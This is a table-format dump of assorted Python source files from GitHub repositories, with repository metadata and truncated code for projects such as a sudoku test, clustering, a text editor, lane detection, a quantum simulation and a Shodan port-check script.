blob_id large_string | repo_name large_string | path large_string | src_encoding large_string | length_bytes int64 | score float64 | int_score int64 | detected_licenses large list | license_type large_string | text string | download_success bool |
|---|---|---|---|---|---|---|---|---|---|---|
eaa7719f4f26b75c35529534804a5f084eaded3b | JonMoore75/PyQt-Sudoku | /tests.py | UTF-8 | 1,524 | 2.828125 | 3 | [] | no_license | import sudoku as sd
import pytest
@pytest.fixture
def test_board():
board = [
[7, 8, 0, 4, 0, 0, 1, 2, 0],
[6, 0, 0, 0, 7, 5, 0, 0, 9],
[0, 0, 0, 6, 0, 1, 0, 7, 8],
[0, 0, 7, 0, 4, 0, 2, 6, 0],
[0, 0, 1, 0, 5, 0, 9, 3, 0],
[9, 0, 4, 0, 6, 0, 0, 0, 5],
[0, 7,... | true |
9d496c9d3b9b8d6495cafb161f83a5d59672b6b9 | Ewenwan/pyipip | /pyipip/ipipdb.py | UTF-8 | 3,235 | 2.5625 | 3 | [
"MIT"
] | permissive | # coding: utf-8
import os
import sys
import time
import array
import struct
import logging
import platform
# speed-up attr lookup
from struct import unpack
from socket import inet_aton
from bisect import bisect_left
logger = logging.getLogger(__name__)
IS_PY3 = sys.version_info[0] == 3
IS_PYPY = platform.python_im... | true |
8eaf19b1dd28351d640b4fcfbc4199c3800de636 | sourabh-burnwal/ML | /perceptron_algo.py | UTF-8 | 1,788 | 3.453125 | 3 | [] | no_license | # implemention of perceptron algorithm on banknote authentication dataset
#import necessary libraries
from pyforest import *
# function to implement the algorithm
def perceptron_algo(data, num_of_iter):
features = data[:, :-1]
labels = data[:, -1]
# initialising weight matrix , +1 because w0 will be ... | true |
04b431aafab4b93b73a3e9f9c7710b2fac501a82 | HussainAther/biology | /genomics/comp/kmeans.py | UTF-8 | 4,734 | 3.28125 | 3 | [] | no_license | import numpy as np
from random import sample, randint
"""
The k-means clustering algorithm clusters the data into k number of clusters with each cluster
as the central average position. We cycle through the data while making an initial guess that
is improved through re-appraising the data and moving the centers of th... | true |
4b584ab722ad2bdaf550b1f7383810c1eb3ae2e3 | Kartavya-verma/Competitive-Pratice | /Codevita/factor_of_3.py | UTF-8 | 695 | 3.1875 | 3 | [] | no_license | def distantAdjacentElement(a, n):
m = dict()
c = 0
mx = 0
for i in range(n):
# print(i, a[i], "li=1")
if a[i] in m:
m[a[i]] += 1
else:
m[a[i]] = 1
# print(m, "m=1")
for i in range(n):
print(i, a[i], "li=2")
if mx < m[a[i]]:
... | true |
c2d48740f2b607faa8e063648be61c90749c2f42 | rajamong/GitActivity | /calculator.py | UTF-8 | 386 | 4.03125 | 4 | [] | no_license | def add(x, y):
return x + y
def subtract(x, y):
return x - y
def multiply(x, y):
return x * y
def divide(x, y):
return x / y
num1 = 4
num2 = 2
print(num1, "+", num2, "=", add(num1, num2))
print(num1, "-", num2, "=", subtract(num1, num2))
print(num1, "*", num2, "=", multiply(num1... | true |
198571d0dffab36b460c4f28b1f631e8fd8660c6 | Debanwesh/SolverAutomation | /analyser.py | UTF-8 | 17,468 | 2.546875 | 3 | [] | no_license | import tkinter as tk
import matplotlib.pyplot as plt
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk
import seaborn as sns
import pandas as pd
import numpy as np
from openpyxl import load_workbook
from utility import *
class analyser:
def __init__(self, root, i... | true |
ba745dd4aadf0304b910eb5c57a118706f396cae | Geekloop/clase5 | /ej_1.py | UTF-8 | 1,541 | 4.375 | 4 | [] | no_license | #Escribir un programa que permita calcular la suma, la resta, el producto
#la division de dos numeros dados por el usuario e imprima el resultado.
#Tomando en cuenta cada caso, si el resultado es
#menor que 20 es AZUL
#menor que 40 es ROJO
#menor que 60 es NEGRO.
def sum():
print "Resutado Suma"
suma = a + b
... | true |
4034a182f589f5ec46f681fb56c770d6e9182e6f | WiseHoon/python | /0109/exec.py | UTF-8 | 85 | 2.65625 | 3 | [] | no_license | def AAAA(x) :
mystr = '2*x**7'
mystr += '+6*x**6'
return eval(mystr)
| true |
2f805dd3aab3f69cbe82c26ae2b27502e9b66fe0 | zushicat/covid-19-data-crawler | /get_latest_case_data/get_location_data/_enrich_ZON_data.py | UTF-8 | 3,022 | 2.671875 | 3 | [] | no_license | import csv
import json
import os
from typing import Any, Dict, List
DIRNAME = os.path.dirname(__file__)
STATE_CODES: Dict[str, str] = { # iso state code as use in script request_german-news_outlets.py
"DE-BW": "Baden-Württemberg",
"DE-BY": "Bayern",
"DE-BE": "Berlin",
"DE-BB": "Brandenburg",
"DE-... | true |
c65cc1bcc8c7b4caa9dfd7d91c6f970a5a6bfe05 | fmorato/pyairtable | /pyairtable/formulas.py | UTF-8 | 4,346 | 3.84375 | 4 | [
"MIT"
] | permissive | from datetime import datetime, date
import re
from typing import Any
from .utils import date_to_iso_str, datetime_to_iso_str
def match(dict_values):
"""
Creates one or more ``EQUAL()`` expressions for each provided dict value.
If more than one assetions is included, the expressions are
groupped toget... | true |
34058aa5a99f8373d893f65081dd3252d5730a62 | arincbulgur/pytorch-WeatherNet | /weathernet/model/weathernet.py | UTF-8 | 3,947 | 2.71875 | 3 | [
"MIT"
] | permissive | import torch
import torch.hub as hub
import torch.nn as nn
import torch.nn.functional as F
pretrained_models = {
'kitti': {
'url': 'https://github.com/TheCodez/pytorch-WeatherNet/releases/download/0.1/WeatherNet_45.5-75c06618.pth',
'num_classes': 4
}
}
def WeatherNet(pretrained=None, num_clas... | true |
dc2593aa4e5908397702d655cb8f4fa41e2027dd | kohhi0710/PythonPrograms | /Visual Studioで始めるPythonプログラミング/02.Pythonの文法、基礎の基礎/コンテナに共通の操作.py | UTF-8 | 3,746 | 4.09375 | 4 | [] | no_license |
# -----------------------------------------------------------------------------------------------------
# コンテナオブジェクトの作成
# -----------------------------------------------------------------------------------------------------
# リスト、タプル、辞書、集合の作成
# リストの作成
l = list(range(10))
print(l) # [0, 1, 2, 3, 4, 5, 6, 7, ... | true |
d35c637e72cd7689ddb665d76ba174b327d23f05 | joeig/memodrop | /braindump/management/commands/check_card_placement_consistency.py | UTF-8 | 3,824 | 2.578125 | 3 | [
"MIT"
] | permissive | import sys
from django.core.management import BaseCommand
from braindump.models import CardPlacement
from categories.models import Category, ShareContract
class CheckResult:
def __init__(self, category, ok, nok):
self.category = category
self.ok = ok
self.nok = nok
class Command(BaseCo... | true |
8c4346d90340a693820be6ed52c04925a1c9fe69 | landjbs/HackHarvard | /model.py | UTF-8 | 23,988 | 2.890625 | 3 | [] | no_license | """
The Image_Generator is a new generation of Deep Convolutional GAN, which
uses Recurrent Neural Networks and Attention Mechanisms to summarize text
as a latent dimensional initialization vector for a generative network.
Through a multi-layered and morphing training-process, the summarizer-generator
pair is taught to... | true |
fd099a6544c6d57f5bbaad1f146450e26e2496b4 | aldajo92/Udacity_SDC_Advanced_Lane_Lines | /final_implementation.py | UTF-8 | 19,336 | 2.578125 | 3 | [] | no_license | import numpy as np
import os
import cv2
import glob
from moviepy.editor import VideoFileClip
from IPython.display import HTML
class LanesProcessing():
def __init__(self, img_location, nx=9, ny=6):
self.left_line = Line()
self.right_line = Line()
self.nx = nx
self.ny = ny
... | true |
7a8fd28a34f24a1b35fc37aa42f9bfe58e9c33df | ASaltedF1sh/jianzhi_offer | /字节跳动/区间类问题/Meeting_Room.py | UTF-8 | 1,683 | 4.09375 | 4 | [] | no_license | # LintCode 920. 会议室
# 给定一系列的会议时间间隔,包括起始和结束时间[[s1,e1],[s2,e2],…(si < ei),确定一个人是否可以参加所有会议。
# 样例1
# 输入: intervals = [(0,30),(5,10),(15,20)]
# 输出: false
# 解释:
# (0,30), (5,10) 和 (0,30),(15,20) 这两对会议会冲突
# 样例2
# 输入: intervals = [(5,8),(9,15)]
# 输出: true
# 解释:
# 这两个时间段不会冲突
# 注意事项
# (0,8),(8,10)在8这这一时刻不冲突
"""
Definition ... | true |
0cdc12266224a50210776eca8538e66672df0fdd | JugpreetS/spam-sentiment-analysis | /formatEmailData.py | UTF-8 | 3,192 | 2.75 | 3 | [] | no_license | __author__ = 'jugpreet'
#contruct the labeled data for Spam analysis.
#it uses the enron.vocab and email present in folders
#enron(1,2,4,5)
import glob
def main():
vocabDictionary = {}
inputFile = open("enron.vocab", "r", encoding="latin1")
#outputFileTest = open("testVocabFile", "w")
count =0
fo... | true |
eb23ee5ec86857d856c3435f857f80a590db9a87 | steinarvk/watcher | /examples/scripts/mefi_comment_count.py | UTF-8 | 294 | 2.515625 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3
import sys
import json
from bs4 import BeautifulSoup
soup = BeautifulSoup(json.load(sys.stdin)["content"])
id_to_counts = {x.attrs["href"].split("/")[1]: int(x.text.split()[0])
for x in soup.find_all(class_="more")}
json.dump(id_to_counts, sys.stdout)
| true |
46611cfe1fd460383ff86d7d9a9adf95b0c5f258 | debbycosoi/Activities_Intro_to_Python | /Activity3-MarielCosoi.py | UTF-8 | 799 | 4.78125 | 5 | [] | no_license | #a. Assign the Value of 5 to a Variable called num
num=5
#b. Assign the Value of “YourName” in a Variable called name
name="MarielCosoi"
#c. Assign the Value of True in a Variable called isPython
isPython=True
#d. Write 2 sentences about something you’ve learned about Python so far in this course.
# i. Wrap that senten... | true |
15f93f56308cb680135ba819d173cec1e8059921 | alexandraback/datacollection | /solutions_1483488_1/Python/mrhaas/solution.py | UTF-8 | 1,903 | 2.796875 | 3 | [] | no_license | #!/usr/bin/env python
import sys, os
from multiprocessing import Pool
DEBUG = os.getenv("DEBUG") == "1"
def time_function(func):
def wrapped_func(*args, **kwargs):
from time import time
start = time()
sys.stderr.write('Function %s started\n' % (func.__name__,))
res = func(*args... | true |
9b7373ca4a9de1edea42f5cfc1c8eba6336346d6 | alexandraback/datacollection | /solutions_5690574640250880_0/Python/dcod/p4.py | UTF-8 | 2,512 | 2.859375 | 3 | [] | no_license | import itertools
f = open('/Users/shivamahajan/Desktop/file.txt' , 'r')
ff = open('/Users/shivamahajan/Desktop/output.txt' , 'w')
import os
def getneighbours(a,b,r,c,minereal):
result = 0
for da in [-1,0,1]:
for db in [-1,0,1]:
newa = a+da
newb = b+db
if (da == 0 an... | true |
ae3ed9e36f7bea0395cad22dc8e382c5796e5ca4 | ankit27kh/Simulating-a-Quantum-Computer--part-of-PH354- | /Codes/p16_17qubit.py | UTF-8 | 19,188 | 2.765625 | 3 | [
"MIT"
] | permissive | """
Programming Project 16 with N = 17
Ankit Khandelwal
15863
"""
from cmath import exp
from math import sqrt, pi
from random import choices, randint
from time import perf_counter
import matplotlib.pyplot as plt
import numpy as np
import scipy.sparse as sp
t1 = perf_counter()
N = 17
xnos = 4
znos = 4
dnos = 9
data_... | true |
00ca9e5b2a1c57e2db19e46d79082aad8345027f | ThibaultTourailles/LucasIDE | /src-server/PLY/utils.py | UTF-8 | 121 | 2.859375 | 3 | [] | no_license | #<captainObvious> Renvoi True si c'est un tuple </captainObvious>
def isTuple ( var ):
return isinstance ( var , tuple ) | true |
2397863b5dfe7f625ec7daddf0fc6a7d61d2aa37 | DiegoHuesos/EDA | /2.-LAB_GAMBOA/PYTHON_FILES/nReinas.py | UTF-8 | 1,270 | 3.5 | 4 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Problema de las n reinas:
"""
def nReinas(n):
pos = [0]*n #List of positions
dis = [1]*n #List of possible numbers
cont = [0] #Counter
nReinasPriv(pos, 0, cont) #Call of the private recursive method
def nReinasPriv(pos, i, cont):
... | true |
d43fc3a5f0f7860b4881ee1a2cd89ad45a16ecb8 | Rigo-Koronis/Prigramming | /Задача_1.py | UTF-8 | 363 | 3.859375 | 4 | [] | no_license | '''Дано целое число. Если оно является положительным,
то прибавить к нему 1; в противном случае не
изменять его. Вывести полученное число.'''
a = int(input('Введите целое число: '))
if (a > 0):
a += 1
print(a)
| true |
b1389bb8ade7c53188c47fe5b3d03555c222646f | ducphuE10/DSLab | /Session_4/encodeData.py | UTF-8 | 1,946 | 2.71875 | 3 | [] | no_license | def encode_data(data_path,vocab_path):
with open(vocab_path) as f:
vocab = dict([(word,word_ID+2) for word_ID,word in enumerate(f.read().splitlines())])
# list(vocab.items())[0:5] ---> [('', 2), ('0', 3), ('00', 4), ('000', 5), ('0001', 6)]
with open(data_path) as f:
documents = [(line... | true |
49b7b206abec1b1a8b584ddb5b530cdd766d3806 | macoyulloa/holbertonschool-machine_learning | /supervised_learning/0x0A-object_detection/0-yolo.py | UTF-8 | 1,394 | 2.828125 | 3 | [] | no_license | #!/usr/bin/env python3
"""Yolo algorithm construction"""
import tensorflow.keras as K
class Yolo():
"""class Yolo that uses the Yolo v3 algorithm to perform object detection
"""
def __init__(self, model_path, classes_path, class_t, nms_t, anchors):
""" initialization of the variables
Arg... | true |
9b8870955618a3819eb86888cce3f83181b12191 | PaulAdams4361/Quantifying-the-World | /Time-Complexity-Analysis_RF_XGB_SVM/xgboost_train.py | UTF-8 | 6,819 | 2.625 | 3 | [
"MIT"
] | permissive | import time
import pprint
import os
import sys
import numpy as np
import numpy.polynomial.polynomial as poly
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.preprocessing import LabelEncoder, StandardScaler
from sklearn.decomposition import PCA
from sklearn.metrics import (
log_loss,
accurac... | true |
a66fbafb8e8e4a38485db18b1747843ff50f59e8 | Clebom/exercicios-livro-introd-prog-python-3ed | /capitulo-03/ex07.py | UTF-8 | 251 | 4.28125 | 4 | [
"MIT"
] | permissive | # Faça um programa que peça dois números inteiros
# Imprima a soma desses dois números na tela
n1 = int(input('Digite o primeiro número: '))
n2 = int(input('Digite o segundo número: '))
print(f'\nA soma entre {n1} e {n2} é igual a {n1 + n2}')
| true |
dbcb866fe4c028a070a0666d197d85365b3c861c | MarianeHenriques/CursoEmVideo | /Aulas/Aula07/Exercicio08.py | UTF-8 | 203 | 3.671875 | 4 | [] | no_license | n1 = float(input('Digite o valor do produto: '))
d1 = n1 * 0.05
d2 = n1 - d1
print('O valor do produto é {}, seu descontou ficou {} e preço que você pagará já com desconto é {}'.format(n1, d1, d2)) | true |
a04898221c7418900b693dbbcfcc2d8619fb68da | jiaozi789/machinelearn | /learn_numpy/ndarr.py | UTF-8 | 1,613 | 3.859375 | 4 | [] | no_license | import numpy as np
#创建矩阵
a=np.array([[1,2],[3,4]]);
#创建一个 3*3矩阵 默认值都是1
po=np.ones((3,3));
print(po);
#创建一个 4*4矩阵 默认值都是0
po=np.zeros((4,4))
print(po);
#创建一个方形矩阵 对角线是1 其他值都是0
"""
对角线,几何学名词,定义为连接多边形任意两个不相邻顶点的线段,或者连接多面体任意两个不在同一面上的顶点的线段
另外在代数学中,n阶行列式,从左上至右下的数归为主对角线,从左下至右上的数归为副对角线
[[1. 0. 0. 0.]
[0. 1. 0. 0.]
[0. 0. 1. 0.... | true |
ecc206dd427c91597798f30f7f211f6089c9b1bd | HenryBalthier/Python-Learning | /Leetcode_medium/dynamicprogramming/120.py | UTF-8 | 554 | 3.46875 | 3 | [] | no_license | class Solution(object):
def minimumTotal(self, triangle):
"""
:type triangle: List[List[int]]
:rtype: int
"""
l = len(triangle)
if l == 1:
return triangle[0][0]
i = l-2
while i >= 0:
tmp = []
for j in range(i+1):
... | true |
cb579c2d7777b4b0956d3d4a8dc5716ee42600d6 | ycjungSubhuman/pdf2texture | /pdf2texture.py | UTF-8 | 1,393 | 2.5625 | 3 | [
"CC0-1.0"
] | permissive | import sys
import pdf2image
import PIL
import skimage.io as sio
import numpy as np
import os
WIDTH_A4 = 210
HEIGHT_A4 = 297
NUM_ROWS = 10
NUM_COLS = 10
PIX_PER_MM = 5
targets = []
for p in os.listdir('source'):
if p.endswith('.pdf'):
path_source = os.path.join('source', p)
path_result = os.path.... | true |
1fb8fc302e84ef5ef83c44542ddcb5bb7fca0ec5 | Nkay18/Atm-updated- | /main.py | UTF-8 | 3,067 | 3.40625 | 3 | [] | no_license | import datetime
import random
database={}
userdetails=[]
bank=[]
timenow=datetime.datetime.now()
def init():
print("WELCOME TO ATBANK")
haveAccount=int(input("Do you have an acount : 1 Yes 2 No\n"))
if haveAccount==1:
login()
elif haveAccount==2:
register()
else:
print("invalid option")
init()
def regist... | true |
b4935ede33c7e40e9166859fc205aa22f12b9595 | ADWright18/Learning | /LeetCode/169-majorityElement.py | UTF-8 | 989 | 4.375 | 4 | [] | no_license | """
Problem Description:
Given an array of size n, find the majority element. The majority element is
the element that appears more than n/2 times
Assumption - The array is non-empty and the majority element exist in the array
Example:
Input:
[3,2,3]
Output:
3
Solution:
1. Initialize a dictionary to sto... | true |
2380f708ef2f4b4537d303740e6f216cc8e4ab17 | ejonakodra/holbertonschool-machine_learning-1 | /unsupervised_learning/0x01-clustering/7-maximization.py | UTF-8 | 1,086 | 3.1875 | 3 | [] | no_license | #!/usr/bin/env python3
"""
Defines function that calculates the maximization step in the EM algorithm
for a Gaussian Mixture Model
"""
import numpy as np
def maximization(X, g):
"""
Calculates the maximization step in the EM algorithm for a GMM
parameters:
X [numpy.ndarray of shape (n, d)]:
... | true |
411645318246bd093ac293f6107863e888c2a017 | Ayaz20009/foodie | /main/models.py | UTF-8 | 1,690 | 3 | 3 | [] | no_license | from django.db import models
from decimal import * # for decimal casting in demote() function
#
# ############################ EMPLOYEE ####################################
#
class Employee(models.Model):
# ************ CONSTANTS *************
CHEF = 'CH'
DRVR = 'DD'
MNGR = 'MG'
ACTIVE =... | true |
a3f02e9e3090dfcc7211cc6a25bb9c1dc4349bd5 | jsargiot/ninja-debugger-plugin | /debugger_plugin/gui/providers.py | UTF-8 | 4,339 | 2.609375 | 3 | [] | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
""" """
import debugger_plugin.gui.resources
import debugger_plugin.core.models
import debugger_plugin.gui.BaseProviders
class WatchesContentProvider(debugger_plugin.gui.BaseProviders.TreeContentProvider):
def __init__(self):
pass
def getChildren... | true |
8ee135da28dec33300c17b01a8cb44a760831383 | sameerun/Python_GUI_Projects | /Text_editior.py | UTF-8 | 5,501 | 2.734375 | 3 | [] | no_license | from tkinter import *
from tkinter import filedialog
from tkinter import messagebox
from tkinter import simpledialog
from tkinter.font import Font
class text_editor():
current_open_file="no_file"
#this command is for File_menu
def new_file(self,events=""):
self.text_area.delete(1.0 , END)
sel... | true |
f6af6fb8c87fdc3e45d9c7dcf3054940c64035d3 | Aasthaengg/IBMdataset | /Python_codes/p03776/s024453614.py | UTF-8 | 765 | 2.71875 | 3 | [] | no_license | import sys
from collections import defaultdict as dd
input = sys.stdin.readline
N, A, B = map(int, input().split())
a = list(map(int, input().split()))
a.sort(reverse = True)
res = 0
xi = 0
xis = []
for i in range(A - 1, B):
t = 0
for j in range(i + 1): t += a[j]
t /= i + 1
if res < t:
res = t
xi = i + ... | true |
9d183d2079a2bb9d9802d46faa6d5210f7032d0f | ursg/analysator | /pyCalculations/fit.py | UTF-8 | 1,146 | 3.25 | 3 | [] | no_license | '''In this file there are functions that have something to do with fitting data
'''
def subtract_1d_polynomial_fit( x, y ):
''' Fits 1d polynomial into the data, subtracts it from the given data and returns the subtracted data.
:param x: The x-axis
:param y: Data to manipulate in ... | true |
480cf9f795ecf68560aa0a705fbd79a01f4c23a7 | feup-infolab/army-ant | /army_ant/util/text/aho_corasick_entity_extractor.py | UTF-8 | 2,443 | 3.15625 | 3 | [
"BSD-3-Clause"
] | permissive | #!/usr/bin/env python
# -*- coding: utf8 -*-
#
# aho_corasick_entity_extractor.py
# José Devezas <joseluisdevezas@gmail.com>
# 2018-05-30
import logging
import os
import pickle
import sys
import ahocorasick
from army_ant.setup import config_logger
logger = logging.getLogger(__name__)
class AhoCorasickEntityExtrac... | true |
30c5ee66879858c84c7556861fb7e58269753e62 | cpocarlos/Shodan-Check_puertos-Telegram | /Verifica_ips_publicas.py | UTF-8 | 1,892 | 2.9375 | 3 | [] | no_license | import socket
import requests
import json
from EnvioConVariables import *
import os
# Token de la API de Shodan
querystring = {"key":"xxxxxxxxxxxxxxxxxxDUOkig5kZF7vaW"}
# Obtenemos la ruta del Script
script_dir = os.path.dirname(__file__)
#Dominios a consultar en Shodan. DEBE EXISTIR UN FICHERO AUNQUE ES... | true |
8d1167bc153c52cabe06dd1382a6d72401485fdf | 1995YogeshSharma/SpeechEmotionRecognition-papers-codes | /codes/PCA-SVM-KNN/utils.py | UTF-8 | 1,427 | 2.640625 | 3 | [] | no_license | import os
import librosa
from random import shuffle
path = r'C:\GitHub\speech_er_demo\casia'
def getData():
wav_file_path = []
# wavs = os.listdir(path)
# for wav in wavs:
# wav_file_path.append(os.path.join(path, wav))
person_dirs = os.listdir(path)
for person in person_dirs:
if ... | true |
35c71acc958be58eb754c1b0895f62c36019438c | fatezy/Algorithm | /leetCode/dfs/200numIslands.py | UTF-8 | 1,561 | 4.03125 | 4 | [] | no_license | # 给定一个由 '1'(陆地)和 '0'(水)组成的的二维网格,计算岛屿的数量。一个岛被水包围,
# 并且它是通过水平方向或垂直方向上相邻的陆地连接而成的。你可以假设网格的四个边均被水包围。
#
# 示例 1:
#
# 输入:
# 11110
# 11010
# 11000
# 00000
#
# 输出: 1
# 示例 2:
#
# 输入:
# 11000
# 11000
# 00100
# 00011
#
# 输出: 3
class Solution(object):
# 典型的深度搜索问题,类似于130题,每次深度搜索将可以搜索
# 到为1的全部重置为0,岛屿数加一
def numIslands(se... | true |
7bd0929499144ce04d578989b5d3c08cc1b51d1d | sunwenbo/python | /3.自动化办公与文件处理/6.文件处理模块练习/dealFile.py | UTF-8 | 2,848 | 2.890625 | 3 | [] | no_license | #__author: Administrator
#date: 2020/3/11
import csv
import win32com
import win32com.client
from openpyxl.reader.excel import load_workbook
from collections import OrderedDict
from pyexcel_xls import get_data
from pyexcel_xls import save_data
class DealFile(object):
def readCsv(self,path):
... | true |
923fb8a80f9fedde5bff312d89f619c1290b5f7c | mugeshmuthukumaran/MUGESHKUMAR | /factorial.py | UTF-8 | 105 | 3.40625 | 3 | [] | no_license | m =int(raw_input())
factorial = 1
for i in range(1,m+1):
factorial = factorial * i
print (factorial)
| true |
421ba21b536842bb83e50d98760c1ac73945e5dd | oumingwang/----Python | /PycharmProjects/untitled/OO/staticFunc.py | UTF-8 | 402 | 3.328125 | 3 | [] | no_license | class TestStaticMethod(object):
def foo():
print 'calling static method foo()'
foo = staticmethod(foo)
class TestClassMethod():
def foo(cls):
print 'calling class method foo()'
print 'foo() is part of class :',cls.__name__
foo = classmethod(foo)
tsm = TestClassMethod()
TestCl... | true |
fca6f5491b4950d23bf32f449b27bfbd51ca15f7 | ankitpopli1891/django-autotranslate | /autotranslate/tests/test_translate_messages.py | UTF-8 | 3,014 | 2.625 | 3 | [
"MIT"
] | permissive | import os
try:
# python2.6
import unittest2 as unittest
except ImportError:
import unittest
import polib
from autotranslate.management.commands.translate_messages import humanize_placeholders, restore_placeholders, Command
class HumanizeTestCase(unittest.TestCase):
def test_named_placeholders(self)... | true |
a92bf079bd5e74c1884e1d72055191bacdebed80 | Yash27112006/C103 | /main.py | UTF-8 | 81 | 2.953125 | 3 | [] | no_license | import pandas as pd
data = [1,2,3,4,5]
df = pd.DataFrame(data)
print(df) | true |
f7515fbf72fbed390438733bd423a316f32a57f1 | twcannon/MSDataSci | /OpsResearch/eo/evaluate_pop.py | UTF-8 | 388 | 2.578125 | 3 | [] | no_license | import numpy as np
def find_norms(A,b,p,s):
norm = []
for i in range(s):
A_p = np.matmul(A,np.transpose([p[i]]))
diff = abs(b-A_p)
norm.append(np.linalg.norm(diff))
return np.array(norm)
def find_fittest(A,b,p,s,percent):
norm = find_norms(A,b,p,s)
k = int(s*percent)
... | true |
c1d1a2c059e9bf578c42c64a1b5bffaaf802fee0 | gr3ybr0w/cookbook | /bytes/convert_to_string.py | UTF-8 | 290 | 3.296875 | 3 | [] | no_license | # function that returns a string instance despite being given
# strings or bytes
def to_str(bytes_or_str):
if isinstance(bytes_or_str, bytes):
value = bytes_or_str.decode('utf-8', errors='strict')
else:
value = bytes_or_str
# Instance of str
return value
| true |
f1fdf6c9960235127ecaf3eaa7d5757802b9f117 | DevrisOfStar/ssafyChatbot | /user.py | UTF-8 | 2,153 | 3.421875 | 3 | [
"MIT"
] | permissive | import json
"""
정보 입력 및 시작부분 : User data 저장, 불러오기, 초기화, 유효성검사
"""
class USER:
def __init__(self, _token): # 생성자
self.token = _token
self.userid = None
self.state = 0
self.tempString = ""
def register(self, userid): # json에 등록
feeds = dict()
with open('./data... | true |
9fa5b58c1d552c3d23accd09dc476ee430a0c744 | francislinker/FTP-Python- | /ftpclient.py | UTF-8 | 3,040 | 3.25 | 3 | [] | no_license | from socket import *
import sys
class ftpclient(object):
def __init__(self,client):
self.client = client
def dolist(self):
#向服务端发送请求,接收服务端消息
self.client.send(b'L')
data = self.client.recv(1024).decode()
if data == 'OK':
while True:
filenam... | true |
66ef6c21c49fdd109a01c4bc4764ef89b6c8648e | igortereshchenko/amis_python | /km72/Podolsky_David/3/task2.py | UTF-8 | 1,232 | 4.21875 | 4 | [] | no_license | import time
print('Задание №2')
print(' Добро пожаловать. \nДанная программа находит площадь прямоугольного \n треугольника за двумя катетами')
while True:
while True:
try:
a=float(input('Введите первый катет = '))
except ValueError:
print('Катет должен быть числом')
continue
if a<... | true |
086995a8e3ca8cdd08be90b870e61b66b783f569 | mspe930/263-Group-12 | /project_pack/concentration_predictions.py | UTF-8 | 13,089 | 2.921875 | 3 | [] | no_license | from concentration_model import *
from concentration_calibration import *
import numpy as np
from matplotlib import pyplot as plt
from pressure_calibration import *
from pressure_model import *
from pressure_predictions import solve_pressure_custom
def solve_concentration_custom(qs,qco2,f,t0,t1,dt,C0,pars=[]):... | true |
fae17cbffe40b10fff5ae4c1cf18545ca5c7236d | namanshenoy/lol-tourney | /webapp/team_generator.py | UTF-8 | 10,397 | 2.90625 | 3 | [] | no_license | from random import randint
import time
import string
from webapp.models import Team
import random
def randomword(length):
return ''.join(random.choice(string.lowercase) for i in range(length))
class Player:
MMR = 0
primary_role = 0
secondary_role = 0
lol_summoner_name = randomword(5)
def __in... | true |
22c44311703fa95dffc21bab9814aa62a51097c8 | slowy07/opencv | /image_processing/eroding_images.py | UTF-8 | 262 | 2.75 | 3 | [
"MIT"
] | permissive | import cv2
import numpy as np
image = cv2.imread('./images/somi.jpg')
window_name = 'Image'
#creating kernels
kernel = np.ones((5,5), np.uint8)
#using cv2.erode()
eroding_images = cv2.erode(image, kernel)
cv2.waitKey(0)
cv2.imshow(window_name, eroding_images)
| true |
eebc47a290abd0bcc01474ec0bb8bff9ea1902bd | copyit/AnimeSearcher | /api/core/models.py | UTF-8 | 5,396 | 3.046875 | 3 | [
"MIT"
] | permissive | from base64 import b16encode
from inspect import currentframe
from typing import List
class Video(object):
"""单集视频对象"""
def __init__(self, name="", raw_url="", handler="VideoHandler"):
self.name = name # 视频名, 比如 "第1集"
self.raw_url = raw_url # 视频原始 url, 可能需要进一步处理
self.handler = handl... | true |
52012ecd91f9ace6ea44205d5ef559e99bdd47e1 | Gaurav3099/Python | /L3/prac5.py | UTF-8 | 186 | 3.890625 | 4 | [
"MIT"
] | permissive | #WAPP to find product of wo numbers
def prod(x,y):
ans=x*y
return ans
n1=int(input('enter first number '))
n2=int(input('enter second number '))
p=prod(n1,n2)
print('answer=',p) | true |
e253936fd31f1c4c637e4f2c898a2ace59172230 | zereight/OpenCV- | /main.py | UTF-8 | 1,164 | 2.75 | 3 | [] | no_license | import os
import init
import registerUser
import trainer
import detection
if __name__ == "__main__":
# 필요한 폴더 없으면 생성
if(not os.path.exists("dataset")):
init.createFolder("dataset")
while(True):
try:
order = input("""
1: regist user
2: detection
3: initialize
0:... | true |
f21427746603eaf82667bf4b5aac9507acd8843d | R1msky/python-game | /scenes/game_over_scene.py | UTF-8 | 307 | 2.71875 | 3 | [] | no_license | from bearlibterminal.terminal import printf
from scenes.scene import Scene
class GameOver(Scene):
x: int = 30
y: int = 10
def create(self):
self.scene_name = 'OOPS, GAME OVER!'
def render(self):
printf(self.x, self.y, self.scene_name)
def close(self):
pass
| true |
ad9e3da4a82e56b872f30e0c7862741b38cfdc56 | Aasthaengg/IBMdataset | /Python_codes/p03327/s468563416.py | UTF-8 | 84 | 3.390625 | 3 | [] | no_license | n = int(input())
a = 'ABC'
b = 'ABD'
if n >= 1000:
print(b)
else:
print(a) | true |
abeba0cd9a0c63c5cafdce64c82c07619c65cbff | bigfoot504/belgian_quad | /Steepv2.py | UTF-8 | 4,777 | 3.359375 | 3 | [] | no_license | # This code runs steepest descent method with the Goldstein-Armijo function
# defined internally and attempting to recode it so that it passes an object
# for optimization.
# -*- coding: utf-8 -*-
"""
Created on Thu Oct 10 10:29:23 2019
@author: rmlocke
"""
# Class for optimization problem
class OptProb:
... | true |
9af89e2a99ed1c6c282b3d9f5834cd7a2c9fa290 | oratusxd/Estudos_IGTI | /Python/Aulas/aula6_3.py | UTF-8 | 204 | 2.953125 | 3 | [] | no_license | '''
Funcionamento do range e os seus argumentos - ele é usado em conjunto com o range
inicio =
termino =
salto =
range ( inicio,termino,salto)'''
for i in range (0,51,10):
print(i)
| true |
31ea1a8c5b8a00cdd4fd50542ddefbcedaad96af | NathanA0507/CS-3-Labs | /Excercises/Quiz3.py | UTF-8 | 1,168 | 3.515625 | 4 | [] | no_license | class Node(object):
# Constructor
def __init__(self, data, next=None):
self.data = data
self.next = next
class List(object):
# Constructor
def __init__(self):
self.head = None
self.tail = None
def buildList(plist):
L = List()
for i in ra... | true |
bcc7af21799f95470d47ad4d47011b89af3e0566 | Gustaft86/trybe-exercises | /modulo4_ciencia/bloco_37/dia_4/exercicio_dia_1.py | UTF-8 | 1,818 | 4.5 | 4 | [] | no_license | # Exercício 1 - Blefe
# Blefe é um jogo de duas pessoas onde cada uma tenta adivinhar os número que a
